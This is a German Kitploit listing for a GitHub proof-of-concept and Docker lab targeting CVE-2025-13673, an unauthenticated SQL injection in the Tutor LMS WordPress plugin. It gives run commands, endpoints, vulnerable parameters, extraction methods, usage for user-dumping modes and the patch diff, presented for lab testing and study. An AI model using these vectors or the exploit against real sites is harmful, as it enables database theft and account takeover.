Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-13673 — CVE-2025-13673: Tutor LMS SQL Injection PoC + Docker-Labor | Kitploit
Tools/GitHubGitHub/dinosn/cve-2025-13673
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubdinosn/cve-2025-13673

CVE-2025-13673

CVE-2025-13673: Tutor LMS SQL Injection PoC + Docker-Labor

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-13673 — SQL-Injection-Labor für Tutor LMS

Nicht authentifizierte SQL-Injection im WordPress-Plugin Tutor LMS (<= 3.9.6) über den Parameter coupon_code.

Schnellstart

root@kitploit:~
# 1. Clone and start the lab
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh            # Deploys WordPress + Tutor LMS 3.9.3

# 2. Run the exploit
pip install requests   # only dependency

# Unauthenticated (time-based blind — no credentials needed)
python3 exploit.py http://localhost:8080

# Authenticated (UNION-based — instant extraction)
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all

Schwachstellendetails

FeldWert
CVECVE-2025-13673
BetroffenTutor LMS <= 3.9.6
Behebung3.9.7
TypSQL Injection (CWE-89)
CVSS7.5 / 9.3
AuthentifizierungKeine (blind) / Abonnent (UNION)

Ursache

QueryHelper::prepare_where_clause() erstellt SQL-WHERE-Klauseln durch rohe Zeichenkettenverkettung:

root@kitploit:~
// helpers/QueryHelper.php — VULNERABLE
$value = is_numeric( $value ) ? $value : "'" . $value . "'";

Keine Maskierung. Ein einzelnes Anführungszeichen bricht aus dem Literal aus und ermöglicht beliebiges SQL.

Angriffsvektoren

Nicht authentifiziert: POST / mit tutor_action=tutor_pay_now. Der WordPress-init-Hook leitet dies für alle Besucher weiter. Der _tutor_nonce ist auf jeder Frontend-Seite eingebettet und für anonyme Sitzungen gültig. Datenextraktion über SLEEP().

Abonnent+: POST /wp-admin/admin-ajax.php mit action=tutor_apply_coupon. Gibt JSON mit eingefügten UNION-SELECT-Daten zurück – zwei Spalten werden in der Antwort reflektiert für sofortige Extraktion.

Patch (3.9.7)

root@kitploit:~
- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // Value now passed through $wpdb->prepare('%s', $value)

Nutzung des Exploits

root@kitploit:~
usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
                  [--dump-users] [--db-info] [--options] [--all]
                  [--delay DELAY]
                  url

Modes:
  Default (no -u/-p):  Unauthenticated time-based blind SQLi
  With -u/-p:          Authenticated UNION-based (fast)

Examples:
  exploit.py http://target                            # unauth blind
  exploit.py http://target -u student -p pass --all   # auth UNION

Testen verschiedener Versionen

root@kitploit:~
# Test version 3.9.5 (has esc_sql partial mitigation)
./setup.sh 3.9.5

# Test version 3.9.7 (should be fixed)
./setup.sh 3.9.7

Dateien

DateiBeschreibung
exploit.pyDual-Mode-PoC: nicht authentifiziert blind + authentifiziert UNION
setup.shEin-Befehl-Laboreinrichtung
docker-compose.ymlWordPress 6.7 + MySQL 8.0

Referenzen

  • Wordfence-Sicherheitshinweis
  • Patchstack-Sicherheitshinweis

Haftungsausschluss

Nur für autorisierte Sicherheitstests und zu Bildungszwecken.

Tool herunterladen